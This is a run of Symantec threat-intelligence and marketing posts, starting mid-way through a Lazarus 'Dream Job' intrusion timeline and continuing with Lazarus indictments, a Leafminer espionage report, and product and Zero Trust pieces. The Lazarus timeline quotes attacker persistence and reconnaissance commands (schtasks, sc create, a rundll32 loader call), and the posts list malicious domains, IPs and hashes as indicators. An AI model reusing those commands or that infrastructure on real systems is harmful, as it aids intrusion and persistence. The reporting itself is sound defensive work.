A clean installation of BitDefender was also installed by the attackers. While unconfirmed, the threat actors may have installed an older version of this software (from 2020) with a vulnerability that allowed attackers to run arbitrary commands remotely.
January 18
00:21 – The final.cpl file is executed again.
00:49 – A new CPL file called wpm.cpl (942489ce7dce87f7888322a0e56b5e3c3b0130e11f57b3879fbefc48351a78f6) is executed.
CSIDL_COMMON_APPDATA\finaldata\wpm.cpl Thumbs.ini 4 30
This file contains, and connects to, a list of IP addresses and records whether the connections were successful.
01:11 – Again, the final.cpl shellcode loader is executed multiple times, executing some unknown shellcode. This activity continued intermittently until 23:49.
23:49 – The file name of the CPL file changes to 'ntuser.dat'. The file location and command-line arguments remain the same.
January 19
00:24 – The CPL shellcode loader files (final.cpl and ntuser.dat) are executed multiple times.
00:28 – The attackers create a scheduled task on another machine, likely to ensure persistence:
schtasks /create /RU [REDACTED]\i21076 /ST 09:28 /TR "cmd.exe /c C:\ProgramData\Adobe\arm.bat" /tn arm /sc MINUTE
The command is used to schedule a task named 'arm' to run the file 'arm.bat' starting at at 09:28 then every minute after that under the user account '[REDACTED]\i21076'.
00:29 – A file named arm.dat (48f3ead8477f3ef16da6b74dadc89661a231c82b96f3574c6b7ceb9c03468291) is executed with the following command line arguments:
CSIDL_SYSTEM\rundll32.exe CSIDL_COMMON_APPDATA\adobe\arm.dat,packageautoupdater LimitedSpatialExtent_U_f48182 -d 1440 -i 10 -q 8 -s 5
The arm.dat file is a tool used to take screenshots of web pages viewed on the compromised machine every 10 seconds (SiteShoter), as determined by the command line arguments. The screenshots are saved in appdata\local with the date at the top of the file.
06:50 – The shellcode loader (final.cpl) is executed several times.
07:34 – A new CPL file named addins.cpl (5f20cc6a6a82b940670a0f89eda5d68f091073091394c362bfcaf52145b058db) is executed multiple times, which again is another shellcode loader and has the same command line arguments as seen with final.cpl:
CSIDL_SYSTEM\rundll32.exe CSIDL_COMMON_APPDATA\addins.cpl, AppMgmt EO6-CRY-LS2-TRK3
07:39 – A scheduled task is created:
sc create uso start= auto binPath= “cmd.exe /c start /b C:\Programdata\addins.bat” DisplayName= uso
The task is used to auto-start and execute addins.bat each time the system is booted. The task uses the service name 'uso' (a file name previously used in older Dream Job campaigns targeting security researchers).
The attacker runs addins.cpl again to run a command to start the service and then delete the service directly after:
CSIDL_SYSTEM\rundll32.exe CSIDL_COMMON_APPDATA\addins.cpl, AppMgmt EO6-CRY-LS2-TRK3
sc start uso (via cmd.exe)
sc delete uso
The following commands were then executed to collect information pertaining to network configuration, current user the attackers are logged in as, active users on the machine, available shared drives, and the contents of the 'addins' directory.
ipconfig /all
whoami
query user
net use
dir CSIDL_WINDOWS\addins
07:41 – The file addins.cpl is executed again multiple times before a scheduled task is created to run addins.bat again, start the service, and immediately delete the service:
sc create uso start= auto binPath= "cmd.exe /c start /b C:\Windows\addins\addins.bat" DisplayName= uso
sc start uso
sc delete uso
January 20
The attackers execute addins.cpl again with the same command line as before.
No further activity is observed.
The Lazarus group is likely targeting organizations in the chemical sector to obtain intellectual property to further North Korea’s own pursuits in this area. The group’s continuation of Operation Dream Job, as witnessed by Symantec and others, suggests that the operation is sufficiently successful. As such, organizations should ensure they have adequate security in place and remain vigilant for attacks such as this.
As always, users should be wary of clicking links or downloading files even if they come from seemingly trustworthy sources.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
SHA-256
164f6a8f7d2035ea47514ea84294348e32c90d817724b80ad9cd3af6f93d83f8
18686d04f22d3b593dd78078c9db0ac70f66c7138789ad38469ec13162b14cef
1cb8ea3e959dee988272904dbb134dad93539f2c07f08e1d6e10e75a019b9976
2dd29b36664b28803819054a59934f7a358a762068b18c744281e1589af00f1f
32bfdf1744077c9365a811d66a6ea152831a60a4f94e671a83228016fc87615f
35de8163c433e8d9bf6a0097a506e3abbb8308330d3c5d1dea6db71e1d225fc3
4277fcaada4939b76a3df4515b7f74837bf8c4b75d4ff00f8d464169eede01e3
4446efafb4b757f7fc20485198236bed787c67ceffc05f70cd798612424384ce
48f3ead8477f3ef16da6b74dadc89661a231c82b96f3574c6b7ceb9c03468291
4a2236596e92fa704d8550c56598855121430f96fe088712b043cba516f1c76c
54029bd4fcc24551564942561a60b906bee136264f24f43775b7a8e15095a9e0
56da872e8b0f145417defd4a37f357b2f73f244836ee30ac27af7591cda2d283
5e7edc8f1c652f53a6d2eabfbd9252781598de91dbe59b7a74706f69eb52b287
5f20cc6a6a82b940670a0f89eda5d68f091073091394c362bfcaf52145b058db
61e305d6325b1ffb6de329f1eb5b3a6bcafa26c856861a8200d717df0dec48c4
67f1db122ad8f01e5faa60e2facf16c0752f6ab24b922f218efce19b0afaf607
7491f298e27eb7ce7ebbf8821527667a88eecd5f3bc5b38cd5611f7ebefde21e
79b7964bde948b70a7c3869d34fe5d5205e6259d77d9ac7451727d68a751aa7d
7aa62af5a55022fd89b3f0c025ea508128a03aab5bc7f92787b30a3e9bc5c6e4
8769912b9769b4c11aabc523a699d029917851822d4bc1cb6cc65b0c27d2b135
8aace6989484b88abc7e3ec6f70b60d4554bf8ee0f1ccad15db84ad04c953c2d
942489ce7dce87f7888322a0e56b5e3c3b0130e11f57b3879fbefc48351a78f6
a881c9f40c1a5be3919cafb2ebe2bb5b19e29f0f7b28186ee1f4b554d692e776
bdb76c8d0afcd6b57c8f1fa644765b95375af2c3a844c286db7f60cf9ca1a22a
d815fb8febaf113f3cec82f552dfec1f205071a0492f7e6a2657fa6b069648c6
e1997d1c3d84c29e02b1b7b726a0d0f889a044d7cd339f4fb88194c2c0c6606d
e31af5131a095fbc884c56068e19b0c98636d95f93c257a0c829ec3f3cc8e4ba
ef987baef9a1619454b14e1fec64283808d4e0ce16fb87d06049bfcf9cf56af3
f29d386bdf77142cf2436797fba1f8b05fab5597218c2b77f57e46b8400eb9de
f7359490d6c141ef7a9ee2c03dbbd6ce3069e926d83439e1f8a3dfb3a7c3dc94
f8995634b102179a5d3356c6f353cb3a42283d9822e157502486262a3af4447e
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Network
52.79.118.195
61.81.50.174
[URL]/[FOLDER]/[FILENAME]asp?prd_fld=racket
happy.nanoace[.]co.kr
hxxp://happy.nanoace[.]co.kr/Content/rating/themes/krajee-fas/FrmAMEISMngWeb.asp
hxxps://mariamchurch[.]com/board/news/index.asp
hxxps://www.aumentarelevisite[.]com/img/context/offline.php
mariamchurch.com
www.aumentarelevisite[.]com
www.juneprint[.]com
www.jungfrau[.]co.kr
www.ric-camid[.]re.kr
File names
addins.cpl
dolby.cpl
ezhelp.cpl
final.cpl
officecert.ocx
wpm.cpl
Services
arm
uso
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Lazarus: Three North Koreans Charged for Financially Motivated Attacks
More than $1.3 billion stolen in string of attacks against financial institutions and cryptocurrency exchanges.
The U.S. government has charged three men in relation to a string of financially motivated cyber attacks linked to the North Korean Lazarus (aka Appleworm) group. The attackers stole approximately $1.3 billion from a range of financial institutions and cryptocurrency exchanges.
In a second case, a Canadian-American citizen has pleaded guilty to involvement in a money laundering scheme linked to heists organized by the Lazarus group.
The charges relate to a number of financially motivated attacks, including several investigated by Symantec, a division of Broadcom (NASDAQ: AVGO).
Banking attacks
Lazarus was linked to a 2016 attack that stole US$81 million from the Bangladesh Central Bank and a number of other attacks against banks in Asia and South America. The attacks prompted an alert by payments network SWIFT, after it was found that the attackers had used malware to cover up evidence of fraudulent transfers.
In order to steal such massive sums, the attackers deployed relatively sophisticated malware, most notably Trojan.Banswift, which was used to wipe evidence of fraudulent transactions. Banswift shared code with an older Lazarus tool called Backdoor.Contopee. Contopee, along with two other pieces of Lazarus malware, Backdoor.Fimlis and Backdoor.Fimlis.B, were already being used in limited targeted attacks against the financial sector in South-East Asia.
Financially motivated attacks continued into 2017, when dozens of organizations were targeted through watering-hole attacks involving a previously unseen piece of malware. The attackers compromised websites likely to be visited by staff at targeted organizations and used a custom exploit kit to deliver malware to selected targets. The exploit kit was configured to only infect visitors from approximately 150 different IP addresses. These IP addresses belonged to 104 different organizations located in 31 different countries, most of which were banks. While the malware used in these attacks (Downloader.Ratankba) had been previously unseen, further analysis by Symantec uncovered strong links between this tool and known Lazarus tools.
WannaCry
Lazarus was subsequently implicated in the WannaCry ransomware attacks. The ransomware incorporated the leaked EternalBlue exploit that used two known vulnerabilities in Windows (CVE-2017-0144 and CVE-2017-0145) to turn the ransomware into a worm, capable of spreading itself to any unpatched computers on the victim’s network and also to other vulnerable computers connected to the internet.
Within a matter of hours, the malware had infected hundreds of thousands of computers worldwide. The attack had the potential to be highly profitable but it was poorly executed. WannaCry was supposed to generate a unique Bitcoin wallet address for each infected computer but, due to a bug, it failed to do so and instead defaulted to three hardcoded Bitcoin addresses for payment. This meant the attackers had no way of knowing which victims had paid using the hardcoded addresses. The attackers also included a “killswitch” in the malware. This was the address of a non-existent domain. WannaCry was designed to check if the domain was live and, if it was, it would cease installing. However, it was quickly found by a security researcher who registered the domain themselves, thus limiting the damage.
FASTCash ATM attacks
The group’s interest in financially motivated attacks persisted and, in 2018, evidence appeared of its involvement in attacks on ATM networks in Africa and Asia. The operation, known as FASTCash, allowed the group to effectively empty ATMs of cash. The attacks began with breaches of the targeted bank’s network in order to gain access to the switch application server that handled ATM transactions. Malware (Trojan.Fastcash) was installed on the server and used to intercept fraudulent cash withdrawal requests and send falsified approval responses, allowing cash to be withdrawn.
Cryptocurrency attacks
In a related announcement, the FBI, the Cybersecurity and Infrastructure Security Agency (CISA), and the Department of Treasury released details on AppleJeus, malware that was used in a series of attacks on cryptocurrency exchanges. The malware is designed to masquerade as legitimate cryptocurrency trading applications.
At least seven different versions of AppleJeus have been discovered, each of which is designed to target a different cryptocurrency trading application. The following trading platforms were targeted by the malware:
Celas Trade Pro
JMT Trading
Union Crypto
Kupay Wallet
CoinGoTrade
Dorusio
Ants2Whale
Initially the malware was spread using fake versions of the legitimate trading platform websites. However, later the attackers switched vectors, relying on phishing, social networking, and social engineering techniques to fool victims into downloading the malware.
Far-reaching investigations
The indictment is the latest in a series of charges laid out against state-sponsored espionage actors by authorities in the U.S. and comes on the back of a 2018 indictment against one of the men named in this week’s announcement. The charges are a timely reminder of the ability of law enforcement to investigate attacks that originate far beyond national borders.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
IOC Type
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d5ac680e14b013e0624470da7f46e84809d00b59a7544f6a42b110cf0e29254e File
celasllc.com Domain
beastgoc.com Domain
jmttrading.org Domain
unioncrypto.vip Domain
kupaywallet.com Domain
levelframeblog.com Domain
airbseeker.com Domain
coingotrade.com Domain
globalkeystroke.com Domain
woodmate.it Domain
dorusio.com Domain
ants2whale.com Domain
qnalytica.com Domain
216.189.150.185 IP
23.152.0.101 IP
45.147.231.77 IP
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Leading the way in Network and Information Security
Symantec is investing in security for the enterprise
As we close the books on 2020, it would be more than a slight understatement to describe the last 12 months as unique.
Entering the year, enterprises faced the ongoing complexities of cyber threats, as they continued to drive their digital transformation to evolve their business. Suddenly, global enterprises found themselves grappling with the enormous security implications of a world turned upside down by a global pandemic. For Symantec’s Network and Information security business, our priority was to deliver a data centric approach to support an organization’s digital transformation and the escalated requirements associated with protecting a remote workforce. All the while, we were undergoing our own historic, if not transformative year, as Symantec finished its integration into Broadcom.
I’m pleased to report that we achieved our objectives on both fronts. Let me touch on some of the highlights and offer a few thoughts about our direction for 2021.
The pandemic was – hopefully – a once-in-a-generation event that scrambled everyone’s best-laid plans. Seemingly overnight, it required organizations to establish secure work-from-home arrangements and accelerate their digital transformation plans.
For Symantec, capitalizing on our Integrated Cyber Defense (ICD) strategy to design and integrate our products to address key digital transformation use cases such as SASE and Zero Trust, to help meet the demands of a growing remote workforce, while supporting the increased complexities of security regulatory compliance & privacy were the hallmarks of our year.
We will continue to focus on innovation and integration to provide better cyber security to meet the complex needs of the global enterprise as they execute their digital transformation journey across on-prem, cloud & hybrid.
Enabling a Data Centric Digital Transformation
Unfortunately, the reality is that security has been disrupted to the point where we live in a world where you don't control the perimeter any longer. No matter what device or WiFi network you’re using, you have to assume that it’s just not safe without extra security. With this in mind, we accelerated our focus on our data centric approach to deliver a single solution across network and information security. This helps ensure customers are able to carry out their various digital transformation projects and associated remote workforce challenges safely. Focusing across our leading Secure Web Gateway and DLP offerings, we had many key deliverables, including:
Integrated Web and DLP gateways, and Endpoint, Web and CASB agent architectures to simplify deployment and reduce latency
Support for user risk analytics and remediation across Web and Cloud DLP
Migration to Google Cloud to deliver hyper-scale network and edge services
Redesign of the SWG portal user interface for single-pass processing policy integrations
Deployed both WSS and DLP re-architectured agents supporting macOS Big Sur that further extended coverage to include remote work scenarios
Integrated DLP and CASB architecture while implementing telemetry enhancements that enable customers to measure adoption and aid in troubleshooting
Incorporated risk analytics into core DLP to simplify forensics and remediation
Integrated with Microsoft Information Protection for data classification and encryption
What’s Next
2021 will be busy, even as COVID winds down, as we deliver market leading solutions to keep enterprises secure. We will continue to focus on innovation and integration to provide better cyber security to meet the complex needs of the global enterprise as they execute their digital transformation journey across on-prem, cloud & hybrid. Now that our integration into Broadcom is complete, we will focus our R&D and engineering talent, the best in the industry, to meet our customers’ key security use cases. Our Network and Information Security solutions are better than ever and our focus on customer driven innovation will address their biggest challenges, today and in the future. As our customers continue their digital transformation journey, we are going to be there for them, every step of the way.
Symantec SASE
Achieve Zero Trust with Symantec
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Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions
Active attack group is eager to make use of available tools, research, and the work of other threat actors.
Symantec has uncovered the operations of a threat actor named Leafminer that is targeting a broad list of government organizations and business verticals in various regions in the Middle East since at least early 2017. The group tends to adapt publicly available techniques and tools for their attacks and experiments with published proof-of-concept exploits. Leafminer attempts to infiltrate target networks through various means of intrusion: watering hole websites, vulnerability scans of network services on the internet, and brute-force/dictionary login attempts. The actor’s post-compromise toolkit suggests that the group is looking for email data, files, and database servers on compromised target systems.
Figure 1. Leafminer targeting organizations in Middle East region
Leafminer’s arsenal
During our investigation, there was a breakthrough discovery that helped connect Leafminer to a number of attacks observed on systems in the Middle East and identify the toolkit used in the group’s efforts of intrusion, lateral movement, and exfiltration. The download URL for a malware payload used in one of the attacks lead to the identification of a compromised web server on the domain e-qht.az that had been used to distribute Leafminer’s arsenal of malware, payloads, and tools within the group and make them available for download from victim machines.
As of early June 2018, the server hosted 112 files in a subdirectory that could be accessed through a public web shell planted by the attackers. In addition to malware and tools, the served files also included uploads of log files seemingly originating from vulnerability scans and post-compromise tools.
The web shell is a modification of the PhpSpy backdoor and references the author MagicCoder while linking to the (deleted) domain magiccoder.ir. Researching the hacker handle MagicCoder results in references to the Iranian hacking forum Ashiyane as well as defacements by the Iranian hacker group Sun Army.
Targets
During the investigation of the Leafminer group, we were able to assemble a targeting profile from different sources including telemetry and log files hosted publicly on the attacker’s arsenal server.
One interesting source of target information discovered during the Leafminer investigation was a list of 809 targets used by the attackers for vulnerability scans.
Symantec detection telemetry shows malware and custom tools used by Leafminer on 44 systems across four regions in the Middle East.
Figure 2. Infected computers per region
One interesting source of target information discovered during the Leafminer investigation was a list of 809 targets used by the attackers for vulnerability scans. The list is written in the Iranian language Farsi and groups each entry with organization of interest by geography and industry. Figure 3 shows a breakdown of the industry verticals. Targeted regions included in the list are Saudi Arabia, United Arab Emirates, Qatar, Kuwait, Bahrain, Egypt, Israel, and Afghanistan.
Figure 3. Industry verticals targeted by Leafminer
Intrusion
We observed three main techniques used by Leafminer for initial intrusion of target networks:
Compromised web servers used for watering hole attacks
Scans/exploits for vulnerabilities of network services
Dictionary attacks against logins of network services
There are indicators that suggest the attackers have also employed email phishing with malicious attachment files. However, this was not directly observed or captured.
Watering hole SMB credential theft
Our investigation of Leafminer started with the discovery of JavaScript code on several compromised websites in the Middle East. The obfuscated code was planted by the attackers to steal SMB credential hashes that could subsequently be brute-forced offline.
When executing the code, the browser creates an invisible image tag and sets the URL to an attack server using the file:// protocol scheme. On Windows machines, this triggers a request to a remote server via the Samba networking protocol (SMB) that also transmits the user’s login NTLM hash. These hashes can be cracked to retrieve the original login password by methods of brute-force, dictionary, or rainbow table lookups.
Table 1 shows an overview of the compromised websites used as watering holes, infected JavaScript URLs, and SMB URLs used to collect NTLM hashes.
Table 1. Watering hole website details
Interestingly, the same technique was also observed in watering hole attacks by the threat actor Dragonfly in 2017 as reported by Symantec.
Vulnerability scans and exploitation
As previously mentioned, Leafminer seems to be actively following developments and publications of the offensive security community when selecting their toolkit. This became especially apparent when analyzing the group’s techniques and tools for vulnerability scans and exploitation. The compromised web server used to store Leafminer’s arsenal hosted several public proof-of-concept exploits and exploitation tools.
"Leafminer espionage group makes use of available tools, research, and work of other threat actors https://symc.ly/2MNFOOD"
CLICK TO TWEET
This included the Fuzzbunch framework that was part of an infamous leak of exploits and tools by the Shadow Brokers in April 2017. Leafminer has developed exploit payloads for this framework (Table 2) that deliver custom malware through attacks against SMB vulnerabilities described by Microsoft. The EternalBlue exploit from the framework received worldwide attention after being used in the ransomware campaigns WannaCry in May and Petya/NotPetya in June 2017. The Leafminer operators use EternalBlue to attempt lateral movement within target networks from compromised staging servers.
Symantec also observed attempts by Leafminer to scan for the Heartbleed vulnerability (CVE-2014-0160) from an attacker-controlled IP address. Furthermore, the Leafminer arsenal server hosted a Python script to scan for this vulnerability.
Dictionary attacks
Another intrusion approach used by Leafminer seems a lot less sophisticated than the previously described methods but can be just as effective: using specific hacktools to guess the login passwords for services exposed by a targeted system. This type of attack was observed both via dedicated servers set up by Leafminer as well as staging servers compromised by the group.
Commands found in a readme text that was stored in a ZIP archive together with the hacktool THC Hydra in Leafminer’s tool arsenal represent online dictionary attacks on Microsoft Exchange and Remote Desktop Protocol services of regional government servers in Saudi Arabia. "Online" in this case refers to the attacker using the protocol of the targeted network service to quickly run through many password guesses.
Custom malware
Symantec identified two strains of custom malware used by the Leafminer group: Trojan.Imecab and Backdoor.Sorgu. Directly connected to this malware are several sets of reflective loader DLLs used as droppers or to execute specific commands on a compromised system.
The development of custom malware by Leafminer as well as some of the tools used for lateral movement show a preference for the .NET framework. We also observed that the attackers would download and install the .NET framework on compromised machines, supposedly in the situation that an operator would have remote access to the system but required .NET to run Leafminer's custom tools. To this end, the command and control (C&C) server operated by the group hosted the legitimate setup executable for Microsoft .NET Framework 2.0 SP2.
Backdoor.Sorgu
Backdoor.Sorgu is used by the attackers to provide remote access to the infected machine. The backdoor is installed as a service in the Windows system through a shell command script.
Trojan.Imecab
The purpose of Trojan.Imecab is to set up a persistent remote access account on the target machine with a hardcoded password. Variants of the malware were also observed with the filename guester.exe which likely refers to the functionality of adding a powerful guest account to the system.
The malware installs itself in the system as a Windows service to achieve persistence and ensure that the guest account remains available to the attacker.
Reflective loader DLLs
Table 2 gives an overview of the reflective loader DLLs and their purpose:
Table 2. Reflective loader DLLs
These DLLs were likely used as payloads for exploit shellcode of the Fuzzbunch framework, which is also evidenced by the embedded PDB strings.
Lateral movement and exfiltration
The discovery of malware and hacktools hosted on e-qht.az allowed us to correlate detection telemetry of potential Leafminer intrusions with tools made available for download to the group’s operators. Understanding the purpose of the tools used by the attacker gives a unique insight into the tactics and procedures used by Leafminer after the initial compromise of a target network.
Table 3 outlines the observed toolset for lateral movement, information gathering, and exfiltration.
Table 3. Toolset for lateral movement, information gathering, and exfiltration
We discovered a number of servers compromised by Leafminer that were used as staging systems to gain a foothold in the targeted network and execute attacks on intranet resources. For example, the use of THC Hydra to execute dictionary attacks against Exchange logins was observed both in initial intrusion attempts as well as in lateral attacks from staging systems.
Figure 4 shows a screenshot of the Total SMB BruteForcer hacktool used by Leafminer for lateral movement. The tool requires input files with lists of IPs, users, and passwords respectively.
Figure 4. Total SMB BruteForcer
The arsenal server hosted five text files that could be used by Leafminer operators as input for dictionary attacks using Total SMB Bruteforcer and THC Hydra.
OrangeTeghal and Process Doppelgänging
One of the custom tools used by the Leafminer group is a rebranded version of the widespread post-exploitation tool Mimikatz.
Figure 5. OrangeTeghal
While the logo and commands are identical to the original hacktool, the name was changed to OrangeTeghal. To evade security software while deploying this tool on compromised systems, the attackers use a technique revealed at Black Hat EU ‘17 in the presentation Lost in Transaction: Process Doppelgänging. The malware file orange64.exe is a .NET executable that drops and executes a PowerShell script with basic obfuscation. After deobfuscation, this script closely resembles the code published by the authors of the technique. Process Doppelgänging uses NTFS transactions to modify the executable of a seemingly benign process that is suspended right after creation.
Ambitions blunted by inexperience
Leafminer is a highly active group, responsible for targeting a range of organizations across the Middle East. The group appears to be based in Iran and seems to be eager to learn from and capitalize on tools and techniques used by more advanced threat actors.
On a broad level, it has followed the recent trend among targeted attack groups for “living off the land”—using a mixture of publicly available tools alongside its own custom malware. More specifically, it mimicked Dragonfly’s use of a watering hole to harvest network credentials. It also capitalized on the Shadow Brokers release of Inception Framework tools, making use of the leaked Fuzzbunch framework by developing its own exploit payloads for it.
Leafminer’s eagerness to learn from others suggests some inexperience on the part of the attackers, a conclusion that’s supported by the group’s poor operational security.
Leafminer has also been tracking developments in the world of cyber security. After the Heartbleed bug was disclosed it began scanning for instances of the vulnerability. It also utilized Process Doppelgänging, a detection evasion technique first discussed at the Black Hat EU conference last year.
However, Leafminer’s eagerness to learn from others suggests some inexperience on the part of the attackers, a conclusion that’s supported by the group’s poor operational security. It made a major blunder in leaving a staging server publicly accessible, exposing the group’s entire arsenal of tools. That one misstep provided us with a valuable trove of intelligence to help us better defend our customers against further Leafminer attacks.
Protection
Symantec has the following protections in place to protect customers against Leafminer attacks:
File-based protection
Backdoor.Sorgu
Trojan.Imecab
Threat intelligence
Customers of the DeepSight Intelligence Managed Adversary and Threat Intelligence (MATI) service have received intelligence that details the characteristics of the Leafminer cyber espionage group and methods of detecting and thwarting activities of this adversary.
Best Practices
Important passwords, such as those with high privileges, should be at least 8-10 characters long (and preferably longer) and include a mixture of letters and numbers. Encourage users to avoid reusing the same passwords on multiple websites and sharing passwords with others should be forbidden. Delete unused credentials and profiles and limit the number of administrative-level profiles created. Employ two-factor authentication (such as Symantec VIP) to provide an additional layer of security, preventing any stolen credentials from being used by attackers.
Emphasize multiple, overlapping, and mutually supportive defensive systems to guard against single point failures in any specific technology or protection method. This should include the deployment of regularly updated firewalls as well as gateway antivirus, intrusion detection or protection systems (IPS), website vulnerability with malware protection, and web security gateway solutions throughout the network.
Implement and enforce a security policy whereby any sensitive data is encrypted at rest and in transit. Ensure that customer data is encrypted as well. This can help mitigate the damage of potential data leaks from within an organization.
Implement SMB egress traffic filtering on perimeter devices to prevent SMB traffic leaving your network onto the internet.
Educate employees on the dangers posed by spear-phishing emails, including exercising caution around emails from unfamiliar sources and opening attachments that haven’t been solicited. A full protection stack helps to defend against emailed threats, including Symantec Email Security.cloud, which can block email-borne threats, and Symantec Endpoint Protection, which can block malware on the endpoint. Symantec Messaging Gateway’s Disarm technology can also protect computers from threats by removing malicious content from attached documents before they even reach the user.
Understanding the tools, techniques, and procedures (TTP) of adversaries through services like DeepSight Adversary Intelligence fuels effective defense from advanced adversaries like Leafminer. Beyond technical understanding of the group, strategic intelligence that informs the motivation, capability, and likely next moves of the adversaries ensures more timely and effective decisions in proactively safeguarding your environment from these threats.
IOCs
Symantec has also developed a list of Indicators of Compromise to assist in identifying Leafminer activity:
File Attachments
Leafminer IOCsTXT3.26 KB
Table contents in text formatTXT2.3 KB
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Learn More About Symantec Threat Risk Levels
Why You Need to Institute Threat Risk Levels Now
Organizations have depended for years on the use of content categories to protect employee web access. Categories are still a critical component to any effective Secure Web Gateway (SWG). SWGs block pornography, shopping sites, gambling, or any other site that doesn’t adhere to a company’s acceptable use policy...but more importantly, might be the entry point to malicious activity. As the number of new websites have skyrocketed on the commercial internet, even the best SWGs struggle to keep up. Swift categorization is difficult and if uncategorized sites are blocked by policy, calls are likely to flood the help desk from employees requesting access to an uncategorized site.
Symantec, a division of Broadcom Software, created Threat Risk Levels to address this problem. AI engines often don’t have enough information on a new website to assign it to a category. But there is contextual metadata, for example the web host’s IP address, a server’s behavior, or characteristics of a URL that allow us to give it a Risk Level rating of one (safe) to 10 (very risky).
So, here’s the question: What is your Risk Level policy?
Symantec, a division of Broadcom Software, created Threat Risk Levels to address this problem. AI engines often don’t have enough information on a new website to assign it to a category. But there is contextual metadata, for example the web host’s IP address, a server’s behavior, or characteristics of a URL that allow us to give it a Risk Level rating of one (safe) to 10 (very risky).
To make it happen, Symantec adds and updates Risk Levels for all the entries in our URL database -- a critical component of Symantec Global Intelligence Network (GIN). We discern the risk snapshot based on history, reported ratings and traffic. Millions of sites are short-lived, what we call “one-day wonders.” Our Context Engine uses AI to track and render opinions about the hundreds of millions of domains, subdomains and IP addresses across the web. Additionally, we use the same system to set a Risk Level for all requests not in our URL database.
So, here’s the question: What is your Risk Level policy? If your organization wants a higher security profile, we recommend starting at level six -- moderate. To further explain the value of risk levels with real-world examples and recommendations, Symantec will hold a Webinar on September 15. You can register here.
For Risk Levels seven through 10, we advise a complete blocking of these sites. If your organization must provide access to such pages, we recommend using our Web Isolation, integrated with our SWG and part of the Web Protection Suite. With Web Isolation unknown web traffic is delivered to a remote isolation environment which renders a dubious site and any associated content and sends back only a safe, visual stream to the end-user’s browser. If there’s any malicious code, it stays in isolation and doesn’t infect your network. The best part: It’s seamless to the user and runs automatically. Scratch all those calls to the help desk demanding access.
With more stringent privacy regulations in recent years, many organizations now need to protect users’ health, financial, or other personal information. This need competes directly with the emerging requirement to inspect encrypted web traffic, which cyber criminals are increasingly using to distribute malware and to collect personally identifiable information. Risk Levels enable the IT administrator to allow safe sites (rated 1 to 3) to be accessed without SSL inspection—thereby protecting user privacy—while decrypting riskier sites for additional inspection, including advanced threat detection and data leakage protection.
To see Symantec’s Threat Risk Levels in action, in June, we got a report of a malicious domain, “pozdravlenie[.]xyz”. (The word means “congratulations” in Russian, which already raises a warning flag!) However, before we got the report that the domain was malicious, we had already seen three attempted visits to the site the day before. All three requests were for a .EXE file, but our logs showed that the server had not actually returned an executable file -- in fact, it didn't really want to talk to us. However, WebPulse gathered enough metadata to progressively move the risk level from a 5 to a 6 and then finally flag each request with a Risk Level of 7 and return a category of “Suspicious”, even without seeing the actual .EXE file.
Finally, Symantec’s system allows you to look at the impact raising or lowering Risk Levels has on your organization’s website access before you choose a degree of protection. For example, generating a report for all uncategorized websites with risk level 6 allows you to see the impact when incorporating that into your policy. It’s easy to do and could save your IT department untold hours wrangling user requests.
For more details on Risk Levels, check out the white paper - The Need for Risk Levels in Secure Web Gateways.
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Lessons From Successful Zero Trust Implementations
Best of breed is dead
Zero Trust has grown to the point of being a pervasive strategy for almost all organizations I work with, and everyone is at different points in their journey. This momentum is coming from the fact that most organizations are adopting a multi-cloud strategy as well as acknowledging there are some critical business processes that may never move to the cloud - so implementing a Zero Trust Architecture can build a streamlined user experience all the while delivering the assurance of security to the business.
Listening to people who have achieved Zero Trust has led to a number of insights on how to get there - one of which is that ‘Best of Breed’ is dead. Zero Trust is as much policy and process as it is technical capabilities, so consolidating vendors and leveraging those who have integrated their offerings pays dividends - this reduces operational overhead, architectural complexity, and the time spent managing solutions.
Why Consolidation?
The drivers for this consolidation are rooted in two places - first that many organizations near the beginning of their journey may not know what they need to be securing - Zero Trust asks us to move away from securing the network and its perimeter to a more granular level of securing applications, data, and users. To effectively implement Zero Trust now, organizations need to partner with a vendor who has 1) the breadth of security capabilities that together deliver on Zero Trust, and 2) an easy way for organizations to pilot technologies and to deploy them quickly without additional contracts or agreements.
Second is the demand of managing compliance requirements. Historically, being compliant with regulators was ‘good enough’ security. But now organizations must go above and beyond that and so attestation and managing compliance is a burden. Working with key vendors who can take some of that effort off an organization's shoulders by offering a broad portfolio of capabilities helps free them up to focus on true security.
Automation for the Win
The era of best-of-breed point solutions is coming to an end. There is just too much to do for security teams - spending time managing integrations and interoperability must be limited to only where necessary. From there, automation needs to be applied in as many places as possible so we can again focus on the big picture. Ultimately having a broad set of capabilities, to discover the most business critical assets and securing them, will accelerate the Zero Trust journey.
Zero Trust is a serious initiative and truly a journey. Partnering with a key vendor like Broadcom, who take the needs of users into their multiyear roadmaps is a strategic advantage to those who want to successfully achieve a Zero Trust state.
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Lessons from the Baltimore Ransomware Takedown
A devastating ransomware attack froze city workers from accessing critical data. It also sounded a wake-up call for other municipalities and government agencies around the nation
The recent ransomware attack that immobilized Baltimore’s computer systems represents the latest in a line of similar cyber attacks against cities and towns across the United States. Three weeks after the attackers struck, city government systems remained crippled, leading municipal leaders to ask for federal assistance to help finance a cleanup that’s likely to cost at least $18.2 million. The mayor now says that a full recovery may take months.
Meanwhile, security experts warn this is a harbinger, not a one-off. Thomas MacLellan, Director of Policy and Government Affairs for Symantec, cautions that towns and cities nowadays have “a big target on their backs because attackers will use the same [tactics and techniques] borrowed from successful attacks to branch out. The attacks against cities like Baltimore, Atlanta and others should be a wake-up call to other midsize cities and towns. It’s time to up your cyber defenses.”
Per a number of press reports, lax security allowed cyber criminals to break into Baltimore’s IT systems. Looking back, the early warning signs are now apparent; since 2012, four Baltimore CIOs were either dismissed or resigned amid complaints that basic security protocols had routinely been ignored. According to MacLellan, similar conditions are present in many other municipalities across the country. And where security lapses exist, ransomware attackers are sure to follow.
It needn’t be that way. There’s plenty that cities can do to protect themselves against these attacks. Here’s what the experts say can be done.
Baltimore’s Vulnerabilities are Everyone’s Vulnerabilities
Let’s first briefly consider why the Baltimore attack was so successful. By all accounts, the city’s IT infrastructure was largely unprotected and ripe for a break-in. Besides not having enough security experts on staff, the city was dependent on aging legacy systems which were frequently left unpatched.
That’s not a unique problem. Security researcher Vitali Kremez, who helped track down and analyze the ransomware called RobinHood that was used in the attack, says that American cities are typically under-resourced and understaffed when it comes to cyber security.
“Because they lack these kinds of resources, they’re vulnerable, and they’ll be targeted,” he said.
The timing of the resource crunch comes as local officials continue to face barriers improving their state’s ability to address cyber security.
